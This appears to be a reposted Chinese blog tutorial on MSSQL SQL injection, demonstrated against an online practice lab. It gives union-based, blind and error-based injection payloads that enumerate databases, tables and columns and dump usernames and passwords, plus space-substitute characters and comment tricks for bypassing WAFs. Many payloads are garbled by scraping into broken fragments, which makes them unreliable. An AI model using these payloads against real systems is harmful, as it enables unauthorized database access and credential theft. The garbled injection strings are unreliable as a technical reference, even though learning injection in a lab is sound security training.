mysql c语言 sql注入,mssql注入与绕过

搜索热词

0x00   前言

上篇文章写了mssql的查询方式与mssql 和MysqL的区别。在注入当中也是有些区别的。下面直接来看到几种mssql注入的方法与特性,绕过方式。因为mssql加aspx的站懒得搭建,所以这里直接拿墨者的在线靶机做测试。

0x01    mssql 联合查询

这里输入单引号报错了 ,初步判断存在注入。

and 1=1 正常and2 报错

这里再来猜字段

order by 10报错

order by5报错

order by4 正常

那么他的字段就是4位。

知道字段后我们再来对他进行联合查询。

and 1=2 union select null,null 报错

这里要采用null的方式来占位,因为mssql数据库是个强类型的数据库,对数据格式比较严格。

这里报错了 ,可能是union select 函数被禁用了

and 2 union all null

1707a1fb6a983d7d955b9d158b421192.png

没报错但是没回显数据

and select 'null,null,null

and null',1)">null'

85a6d8c3bff15be54348d5e69f33158a.png

一个一个加单引号括起来,查看类型

在第二和第三位置是可以回显数据的,我们就在 二和三的位置来查询数据

and null

e6014fd6f48eab5cea439c4f60527c21.png

查询版本为2005的版本, 能正常查询,这时候就可以去爆我们的数据。

先来查询他的数据库名

and 查看当前数据库

and1),1)"> 查看第一个数据库

and 2),1)"> 查看第二个数据库

and 3),1)"> 查看第三个数据库

and 4),1)"> 查看第四个数据库

and 5),1)"> 查看第五个数据库

and 6),1)">null 查询失败

那么这里,就可以去爆出他的数据库这里的数据库是5个数据库

63bf4b80a87ecf05eb9ce5febd55eb6c.png

这也是个MysqL不一样的地方,可以直接输入db_name ()里面添加参数,直接遍历数据库名。

直接查询mozhe_db_v2这个数据库的表名

and select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype =u'),1)">null

014185809af2db03c9b54f976c5c2bc1.png

top是取值 ,查询到的第一行数据,那么如果我们想爆第二表呢,在mssql里面没有 limit这个函数。

xtpye ='u' 这个是我们指定查询的条件,查询他自定义的表

-' and name <>(manage')),1)">null

37a76b0a341fcb345c8dca293d77f326.png

这里直接指定查询条件为name 不等于manage 然后爆出他的第二张表  如果后面还需要查询的话也是同样的方式。

union all ') and name<>(announcementnull

这里查询不回显,那么说明他这就2张表。

既然我们现在知道了表后就可以直接来爆字段了

union all 1 col_name(object_id(1)from sysobjects),1)">null

union all select null,(select top 1 col_name(object_id('manage'),2)from sysobjects),null

union all select null,3)from sysobjects),null

分别显示了 id ,username ,password 。

column_id列的标识号。 column_id 自变量具有一个 int 数据类型 。

该函数会返回指定对象的ID值,可以在sysobjects表中进行验证。

union all 1 username from manage),1)">

union all 1 password null

acdc6dd029f03cfabec18a0db79905d1.png

直接爆出数据。这个是我们的简单联合的注入方式。

0x02    mssql 盲注

这里来直接给出语句和我们的MysqL差不多,

猜表

AND SELECT SUBSTRING(table_name,1)">1,1)">1) FROM information_schema.tables = A'

用取值函数来取information_schema.table 里面的值,这个数据库在我们mssql中是个视图,而不是真正的数据库。

AND SELECT SUBSTRING(column_name,1)">1) FROM information_schema.columns = '

0x03   mssql 报错注入

在mssql注入里面,我们常常会利用报错注入来爆出数据,这个报错注入基本基于类型转换上的错误进行报错注入。

注入语句:

AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)

如果想查询第二张表的话可以利用到前面的方式 name不等于 第一张表

AND 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))

这里和前面说到的差不多,这个的意思是查询第一条数据 然后不在第一张表里面查询,那么就可以爆出我们的第二张表。想爆第三张表也是一样。

AND 2 table_name FROM information_schema.tables))

不在前面2张表进行查询。 那么查询第一行数据就是第三表的数据。

0x04   mssql 特性

可替代空格字符的字符:

01Start of Heading02Start of Text03End of Text04End of Transmission05Enquiry06Acknowledge07Bell08Backspace09Horizontal Tab

0A New Line

0B Vertical Tab

0C New Page

0D Carriage Return

0E Shift Out

0F Shift InData Link Escape11 Device Control 1

12 Device Control 2

13 Device Control 3

14 Device Control 4

15Negative Acknowledge16Synchronous Idle17End of Transmission Block18Cancel19End of Medium

1A Substitute

1B Escape

1C File Separator

1D Group Separator

1E Record Separator

1F Unit Separator20Space25 %

and 和or 后的中间替代字符

01-范围21!

2B+2D--2E 。

5C \

7E 〜

mssql 注释方式:

/**/    c语言注释

--    sql注释

;%00

在绕waf当中会频繁用到这些注释方式,也会用到各种特殊字符来绕过waf,mssql可替代空格的字符比MysqL多出不少,在外面绕过waf当中会有很大的帮助。

0x03   结尾

本次文章耗时 2小时。记录快乐时刻。

22b9df6cf96c2e42da0c646666ef6a54.png

9a46fefe8466fe4c37f320e9123f3840.gif

总结

以上是编程之家为你收集整理的mssql注入与绕过全部内容,希望文章能够帮你解决mssql注入与绕过所遇到的程序开发问题。

如果觉得编程之家网站内容还不错,欢迎将编程之家网站推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值